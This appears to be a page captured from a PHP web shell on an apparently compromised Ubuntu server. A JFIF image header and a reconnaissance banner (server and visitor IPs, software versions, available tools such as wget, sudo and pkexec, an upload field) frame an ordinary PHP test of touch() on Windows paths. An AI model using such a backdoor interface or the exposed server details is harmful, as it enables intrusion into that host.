????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.86 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/ |
Upload File : |
--TEST-- Test touch() function : variation: various valid and invalid paths --CREDITS-- Dave Kelsey <d_kelsey@uk.ibm.com> --SKIPIF-- <?php if (substr(PHP_OS, 0, 3) != 'WIN') { die('skip.. only for Windows'); } ?> --FILE-- <?php /* Prototype : bool touch(string filename [, int time [, int atime]]) * Description: Set modification time of file * Source code: ext/standard/filestat.c * Alias to functions: */ $workDir = "touchVar5.tmp"; $subDirOrFile = "aSubDirOrFile"; chdir(__DIR__); mkdir($workDir); $cwd = getcwd(); $unixifiedDirOrFile = '/'.substr(str_replace('\\','/',$cwd).'/'.$workDir.'/'.$subDirOrFile, 3); $paths = array( // relative $workDir.'\\'.$subDirOrFile, '.\\'.$workDir.'\\'.$subDirOrFile, $workDir.'\\..\\'.$workDir.'\\'.$subDirOrFile, // relative bad path (note p8 msgs differ) $workDir.'\\..\\BADDIR\\'.$subDirOrFile, 'BADDIR\\'.$subDirOrFile, //absolute $cwd.'\\'.$workDir.'\\'.$subDirOrFile, $cwd.'\\.\\'.$workDir.'\\'.$subDirOrFile, $cwd.'\\'.$workDir.'\\..\\'.$workDir.'\\'.$subDirOrFile, //absolute bad path (note p8 msgs differ) $cwd.'\\BADDIR\\'.$subDirOrFile, //trailing separators $workDir.'\\'.$subDirOrFile.'\\', $cwd.'\\'.$workDir.'\\'.$subDirOrFile.'\\', // multiple separators $workDir.'\\\\'.$subDirOrFile, $cwd.'\\\\'.$workDir.'\\\\'.$subDirOrFile, // Unixified Dir Or File $unixifiedDirOrFile, ); echo "*** Testing touch() : variation ***\n"; echo "\n*** testing nonexisting paths ***\n"; test_nonexisting($paths); echo "\n*** testing existing files ***\n"; test_existing($paths, false); echo "\n*** testing existing directories ***\n"; test_existing($paths, true); rmdir($workDir); function test_nonexisting($paths) { foreach($paths as $path) { echo "--- testing $path ---\n"; if (is_dir($path) || is_file($path)) { echo "FAILED: $path - exists\n"; } else { $res = touch($path); if ($res === true) { // something was created if (file_exists($path)) { // something found if (is_dir($path)) { echo "FAILED: $path - unexpected directory\n"; } else { echo "PASSED: $path - created\n"; unlink($path); } } else { // nothing found echo "FAILED: $path - touch returned true, nothing there\n"; } } else { // nothing created if (file_exists($path)) { //something found echo "FAILED: $path - touch returned false, something there\n"; if (is_dir($path)) { rmdir($path); } else { unlink($path); } } } } } } function test_existing($paths, $are_dirs) { foreach($paths as $path) { if ($are_dirs) { $res = @mkdir($path); if ($res == true) { test_path($path); rmdir($path); } } else { $h = @fopen($path,"w"); if ($h !== false) { fclose($h); test_path($path); unlink($path); } } } } function test_path($path) { echo "--- testing $path ---\n"; $org_atime = get_atime($path); clearstatcache(); $res = touch($path,0,0); $next_atime = get_atime($path); if ($next_atime == $org_atime) { echo "FAILED: $path - access time not changed\n"; } else { echo "PASSED: $path - touched\n"; } } function get_atime($path) { $temp = stat($path); return $temp['atime']; } ?> ===DONE=== --EXPECTF-- *** Testing touch() : variation *** *** testing nonexisting paths *** --- testing touchVar5.tmp\aSubDirOrFile --- PASSED: touchVar5.tmp\aSubDirOrFile - created --- testing .\touchVar5.tmp\aSubDirOrFile --- PASSED: .\touchVar5.tmp\aSubDirOrFile - created --- testing touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile --- PASSED: touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile - created --- testing touchVar5.tmp\..\BADDIR\aSubDirOrFile --- Warning: touch(): Unable to create file touchVar5.tmp\..\BADDIR\aSubDirOrFile because %s in %s on line %d --- testing BADDIR\aSubDirOrFile --- Warning: touch(): Unable to create file BADDIR\aSubDirOrFile because %s in %s on line %d --- testing %s\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\touchVar5.tmp\aSubDirOrFile - created --- testing %s\.\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\.\touchVar5.tmp\aSubDirOrFile - created --- testing %s\touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile - created --- testing %s\BADDIR\aSubDirOrFile --- Warning: touch(): Unable to create file %s\BADDIR\aSubDirOrFile because %s in %s on line %d --- testing touchVar5.tmp\aSubDirOrFile\ --- Warning: touch(): Unable to create file touchVar5.tmp\aSubDirOrFile\ because Invalid argument in %s on line %d --- testing %s\touchVar5.tmp\aSubDirOrFile\ --- Warning: touch(): Unable to create file %s\touchVar5.tmp\aSubDirOrFile\ because Invalid argument in %s on line %d --- testing touchVar5.tmp\\aSubDirOrFile --- PASSED: touchVar5.tmp\\aSubDirOrFile - created --- testing %s\\touchVar5.tmp\\aSubDirOrFile --- PASSED: %s\\touchVar5.tmp\\aSubDirOrFile - created --- testing /%s/touchVar5.tmp/aSubDirOrFile --- PASSED: /%s/touchVar5.tmp/aSubDirOrFile - created *** testing existing files *** --- testing touchVar5.tmp\aSubDirOrFile --- PASSED: touchVar5.tmp\aSubDirOrFile - touched --- testing .\touchVar5.tmp\aSubDirOrFile --- PASSED: .\touchVar5.tmp\aSubDirOrFile - touched --- testing touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile --- PASSED: touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile - touched --- testing %s\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\touchVar5.tmp\aSubDirOrFile - touched --- testing %s\.\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\.\touchVar5.tmp\aSubDirOrFile - touched --- testing %s\touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile - touched --- testing touchVar5.tmp\\aSubDirOrFile --- PASSED: touchVar5.tmp\\aSubDirOrFile - touched --- testing %s\\touchVar5.tmp\\aSubDirOrFile --- PASSED: %s\\touchVar5.tmp\\aSubDirOrFile - touched --- testing /%s/touchVar5.tmp/aSubDirOrFile --- PASSED: /%s/touchVar5.tmp/aSubDirOrFile - touched *** testing existing directories *** --- testing touchVar5.tmp\aSubDirOrFile --- PASSED: touchVar5.tmp\aSubDirOrFile - touched --- testing .\touchVar5.tmp\aSubDirOrFile --- PASSED: .\touchVar5.tmp\aSubDirOrFile - touched --- testing touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile --- PASSED: touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile - touched --- testing %s\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\touchVar5.tmp\aSubDirOrFile - touched --- testing %s\.\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\.\touchVar5.tmp\aSubDirOrFile - touched --- testing %s\touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile --- PASSED: %s\touchVar5.tmp\..\touchVar5.tmp\aSubDirOrFile - touched --- testing touchVar5.tmp\aSubDirOrFile\ --- PASSED: touchVar5.tmp\aSubDirOrFile\ - touched --- testing %s\touchVar5.tmp\aSubDirOrFile\ --- PASSED: %s\touchVar5.tmp\aSubDirOrFile\ - touched --- testing touchVar5.tmp\\aSubDirOrFile --- PASSED: touchVar5.tmp\\aSubDirOrFile - touched --- testing %s\\touchVar5.tmp\\aSubDirOrFile --- PASSED: %s\\touchVar5.tmp\\aSubDirOrFile - touched --- testing /%s/touchVar5.tmp/aSubDirOrFile --- PASSED: /%s/touchVar5.tmp/aSubDirOrFile - touched ===DONE===